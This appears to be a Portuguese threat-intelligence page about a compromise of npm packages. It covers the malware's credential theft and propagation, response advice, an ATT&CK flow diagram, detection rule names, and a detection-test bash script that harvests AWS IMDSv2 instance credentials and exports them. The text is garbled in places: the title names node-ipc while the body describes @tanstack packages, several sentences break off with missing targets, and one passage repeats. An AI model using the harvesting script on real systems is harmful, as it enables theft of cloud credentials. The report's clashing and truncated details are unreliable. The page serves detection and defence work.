Ataque Ativo à Cadeia de Suprimentos Compromete o Pacote node-ipc
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Pesquisadores da Socket descobriram um comprometimento na cadeia de suprimentos afetando 84 pacotes npm publicados sob o namespace @tanstack . As atualizações maliciosas introduziram um arquivo JavaScript fortemente ofuscado projetado para roubar segredos relacionados ao CI do GitHub Actions, AWS, HashiCorp Vault e ambientes Kubernetes, e então usar essas credenciais para se republicar no npm. O payload também plantou ganchos de persistência dentro dos diretórios de configuração do Claude Code e VS Code. Os pesquisadores vincularam a atividade à ampla campanha de malware na cadeia de suprimentos Mini Shai-Hulud.
Investigação
A investigação identificou um arquivo recém-adicionado, router_init.js, que usava rotação de array de strings, uma camada adicional de decodificação XOR e Base64, e daemonização para ocultar seu comportamento. O malware tinha como alvo variáveis de ambiente, serviços de metadados de nuvem e endpoints de API associados ao GitHub, AWS, Vault e Kubernetes para coletar credenciais. Ele se propagava abusando da federação OIDC do GitHub Actions para obter tokens de publicação npm e inseriu uma optionalDependency on maliciosa emmaliciosa em
. O tráfego de exfiltração era roteado através da rede de mensagens descentralizada Session.
As organizações afetadas pela campanha devem verificar hashes para todos os conteúdos do pacote @tanstack/* , girar todas as credenciais de CI e nuvem, revogar concessões OIDC de federação expostas e remover arquivos não autorizados dos diretórios .claude and e e . Bloquear o tráfego de saída para . Bloquear o tráfego de saída para e aplicar controles de integridade para pacotes npm pode reduzir ainda mais a exposição. Os workflows do GitHub Actions também devem ser reforçados fixando ações de terceiros e minimizando permissões de e aplicar controles de integridade para pacotes npm pode reduzir ainda mais a exposição. Os workflows do GitHub Actions também devem ser reforçados fixando ações de terceiros e minimizando permissões de
Resposta
Os defensores devem caçar a presença de router_init.js e nomes de arquivos relacionados, monitorar processos gerados suspeitosamente e alertar sobre o acesso aos endpoints de metadados de nuvem identificados. Quaisquer pacotes comprometidos devem ser colocados em quarentena, ganchos maliciosos removidos e todas as credenciais expostas rotacionadas imediatamente. As equipes de segurança também devem realizar uma revisão completa das atividades do GitHub Actions para o uso não autorizado de tokens e validar a proveniência de todos os pacotes npm publicados.
"graph TB %% Definições de Classe classDef technique fill:#e6f7ff classDef operator fill:#ffcc66 %% Nós representando cada técnica ATT&CK a_initial_access["<b>Técnica</b> – <b>T1195.001 Comprometimento de Cadeia de Suprimentos</b><br/><b>Descrição</b>: O adversário compromete uma cadeia de suprimentos de software (por exemplo, pacote npm malicioso) para obter acesso inicial."] class a_initial_access technique b_execution["<b>Técnica</b> – <b>T1129 Módulos Compartilhados</b><br/><b>Descrição</b>: Módulo compartilhado malicioso (router_init.js) executa automaticamente durante a instalação do pacote."] class b_execution technique c_persistence["<b>Técnica</b> – <b>T1176.002 Extensões IDE</b><br/><b>Descrição</b>: Escreve arquivos ocultos (.claude, .vscode) e ganchos para manter a persistência através de extensões IDE comprometidas."] class c_persistence technique d_def_evasion["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Obfuscadas</b><br/><b>Descrição</b>: O payload é obfuscado para evitar detecção.<br/><b>Técnica</b> – <b>T1140 Desofuscar/Decodificar Arquivos ou Informações</b><br/><b>Descrição</b>: Rotina de tempo de execução desofusca o código antes da execução."] class d_def_evasion technique e_cred_access["<b>Técnica</b> – <b>T1552.005 Credenciais Não Seguras</b><br/><b>Descrição</b>: Lê a API de metadados de instância em nuvem para credenciais.<br/><b>Técnica</b> – <b>T1555.006 Gestão de Segredos em Nuvem</b><br/><b>Descrição</b>: Recupera segredos de armazenamentos de segredos em nuvem."] class e_cred_access technique f_account_disc["<b>Técnica</b> – <b>T1087.004 Conta na Nuvem</b><br/><b>Descrição</b>: Enumera informações de conta na nuvem para identificar recursos e privilégios."] class f_account_disc technique g_cred_use["<b>Técnica</b> – <b>T1078 Contas Válidas</b><br/><b>Descrição</b>: Usa token OIDC colhido como uma conta válida para publicar pacotes maliciosos adicionais."] class g_cred_use technique h_propagation["<b>Técnica</b> – <b>T1195.001 Comprometimento de Cadeia de Suprimentos</b><br/><b>Descrição</b>: Reutiliza pacote malicioso via optionalDependencies e gancho npm prepare para se espalhar para projetos a jusante."] class h_propagation technique i_command_exec["<b>Técnica</b> – <b>T1059.009 Chamadas de API na Nuvem</b><br/><b>Descrição</b>: Executa comandos invocando APIs do GitHub, AWS e Vault diretamente do ambiente comprometido."] class i_command_exec technique j_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltração Sobre Canal C2</b><br/><b>Descrição</b>: Exfiltra dados por meio de um canal de sessão peer-to-peer estabelecido entre nós comprometidos."] class j_exfiltration technique k_remote_services["<b>Técnica</b> – <b>T1021.007 Serviços na Nuvem</b><br/><b>Descrição</b>: Aproveita commits do GitHub GraphQL como um serviço remoto para manter comando e controle."] class k_remote_services technique %% Conexões de fluxo sequencial a_initial_access –>|leva a| b_execution b_execution –>|leva a| c_persistence c_persistence –>|leva a| d_def_evasion d_def_evasion –>|leva a| e_cred_access e_cred_access –>|leva a| f_account_disc f_account_disc –>|leva a| g_cred_use g_cred_use –>|leva a| h_propagation h_propagation –>|leva a| i_command_exec i_command_exec –>|leva a| j_exfiltration j_exfiltration –>|leva a| k_remote_services "
Fluxo de Ataque
Detecções
Download Suspeito de Executável (via proxy)
Visualizar
Possível Arquivo de Configuração Automática de Tarefas Vscode Criado em Diretório Incomum [MACOS] (via file_event)
Visualizar
Possível Arquivo de Configuração Automática de Tarefas Vscode Criado em Diretório Incomum [LINUX] (via file_event)
Visualizar
IOCs (HashSha256) para detectar: Ataque Ativo na Cadeia de Suprimentos: Pacote node-ipc Comprometido
Visualizar
IOCs (HashSha1) para detectar: Ataque Ativo na Cadeia de Suprimentos: Pacote node-ipc Comprometido
Visualizar
IOCs (HashMd5) para detectar: Ataque Ativo na Cadeia de Suprimentos: Pacote node-ipc Comprometido
Visualizar
Colheita de Credenciais AWS via IMDSv2 e Endpoint de Metadados de Tarefas ECS [AWS Cloudtrail]
Visualizar
Execução da Simulação
Pré-requisito: A Verificação de Pré-Voo de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa do Ataque & Comandos:
- Obter um token de sessão IMDSv2 – o invasor emite um
PUTpedido ao endpoint de token com um TTL de 21600 segundos. - Usar o token para consultar o nome do papel IAM exposto em
/latest/meta-data/iam/security-credentials/. - Recuperar as credenciais IAM temporárias (AccessKeyId, SecretAccessKey, Token) para o perfil de instância.
- Armazenar as credenciais localmente para uso posterior (por exemplo, para chamar APIs AWS, pivotar ou conduzir ataques de força bruta).
Esses passos geram tráfego HTTP para os URIs exatos listados na regra Sigma, que, quando capturados por Logs de Fluxo VPC, devem satisfazer a condição de detecção.
- Obter um token de sessão IMDSv2 – o invasor emite um
-
Script de Teste de Regressão:
#!/usr/bin/env bash # ------------------------------------------------- # Script: aws_imds_credential_harvest.sh # Propósito: Simular colheita de credenciais via IMDSv2 / metadados ECS # ------------------------------------------------- set -euo pipefail # 1. Solicitar token IMDSv2 TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s) if [[ -z "$TOKEN" ]]; then echo "[!] Falha ao obter token IMDSv2" exit 1 fi echo "[*] Token IMDSv2 obtido" # 2. Obter nome do papel IAM associado à instância ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) if [[ -z "$ROLE_NAME" ]]; then echo "[!] Não foi possível recuperar o nome do papel IAM" exit 1 fi echo "[*] Papel IAM da instância: $ROLE_NAME" # 3. Recuperar credenciais temporárias para o papel CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME) echo "[*] Credenciais recuperadas:" echo "$CREDS_JSON" | jq . # 4. (Opcional) Exportar como variáveis de ambiente para uso posterior com AWS CLI export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey) export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token) echo "[*] Credenciais exportadas para o ambiente (apenas para demonstração)." # ------------------------------------------------- # Fim do script # ------------------------------------------------- -
Comandos de Limpeza:
# Desconfigurar variáveis de ambiente que contêm credenciais temporárias unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN # Remover quaisquer arquivos temporários (nenhum criado neste script) echo "[*] Limpeza concluída."